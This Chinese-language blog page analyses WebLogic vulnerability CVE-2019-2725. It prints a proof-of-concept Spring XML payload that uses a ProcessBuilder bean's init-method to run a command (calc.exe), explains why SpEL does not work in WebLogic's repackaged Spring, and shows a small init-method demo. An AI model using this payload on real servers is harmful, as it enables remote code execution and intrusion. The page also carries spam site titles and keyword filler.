中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Weblogic漏洞CVE-2019-2725的示例分析

發布時間:2021-12-22 20:59:42 來源:億速云 閱讀:144 作者:柒染 欄目:網絡管理

這篇文章給大家介紹Weblogic漏洞CVE-2019-2725的示例分析,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。

0x01 概述

Weblogic漏洞CVE-2019-2725的示例分析

0x02 深入

構造方法可以參考這個CVE-2017-17485。

Weblogic漏洞CVE-2019-2725的示例分析

先看看這個漏洞的payload。

Weblogic漏洞CVE-2019-2725的示例分析

再看看如何利用這個漏洞,我們發現這個漏洞利用方式是通過org.springframework.context.support.FileSystemXmlApplicationContext這個方法去加載惡意xml文件,而在上面的xml文件中通過spel表達式可以觸發相關payload。

Weblogic漏洞CVE-2019-2725的示例分析

回到本次 weblogic 上, weblogic 也有這個相關構造函數,所以我們可以使用這個payload先試試,測試過程中發現無法使用,深究一下看一下代碼,我們發現 weblogic 解析 xml 文件的類com.bea.core.repackaged.springframework.beans.factory.support.BeanDefinitionValueResolver

Weblogic漏洞CVE-2019-2725的示例分析

我在這里打一個斷點,這樣進入

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext之后的操作就很明顯。

Weblogic漏洞CVE-2019-2725的示例分析

這個地方和 CVE-2017-17485 的payload觸發位置相比,少了一個表達式解析方法

Object valueObject=evaluate(TypedStringValue)

也就是說這里xml沒辦法通過類似對 #{ pb.start() } 開始針對 pb 這個 bean 進行操作。所以說這里需要調整理一下 payload ,我調整后的結果如下所示。

<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg value="calc.exe" />
</bean>
</beans>

關于在spring  容器初始化 bean 和銷毀前所做的操作定義方式有三種:第一種:通過@PostConstruct 和 @PreDestroy 方法 實現初始化和銷毀bean之前進行的操作

第二種是:通過在xml中定義init-method 和  destory-method方法

第三種是: 通過bean實現InitializingBean和 DisposableBean接口

CVE-2017-17485 這個漏洞的觸發 payload 用的是 spel 表達式的方法注冊 bean ,而我們這里由于缺少相關解析文件無法使用 spel 表達式,這里可以使用 init-method 方法來解決這里這個問題,可以先看一個例子

測試程序如下:

public class TestInitMethod{
public void testInit(){
System.out.println("test init-method");        
}
}

配置文件如下:

//spring.xml
<bean id="testInitMethod" class="com.TestInitMethod" init-method="testInit"></bean>

Main主程序如下:

public class Main {
public static void main(String[] args){
ClassPathXmlApplicationContext context1 = new ClassPathXmlApplicationContext("spring.xml");
  }
  }

打印如下結果:

test init-method

這里為什么沒辦法支持 spel ,我的想法可能是因為spring版本過低,所以沒辦法支持spel表達式。當然FileSystemXmlApplicationContext是繼承AbstractXmlApplicationContextWeblogic漏洞CVE-2019-2725的示例分析ClassPathXmlApplicationContext也是繼承AbstractXmlApplicationContextWeblogic漏洞CVE-2019-2725的示例分析所以理論上這個類也可以,試試看,OK確實也可以。Weblogic漏洞CVE-2019-2725的示例分析

關于Weblogic漏洞CVE-2019-2725的示例分析就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

余干县| 锡林浩特市| 枝江市| 景德镇市| 兴安县| 罗甸县| 汕尾市| 四平市| 涞源县| 周口市| 鄯善县| 翁源县| 宁强县| 兴化市| 雷山县| 峨边| 富阳市| 德化县| 荔波县| 都安| 玛纳斯县| 扶余县| 贡嘎县| 大厂| 镇安县| 定日县| 武定县| 东兴市| 隆回县| 乌拉特中旗| 乐安县| 阿拉善右旗| 张北县| 溧阳市| 韩城市| 呼玛县| 加查县| 铁岭市| 巴南区| 桓仁| 二连浩特市|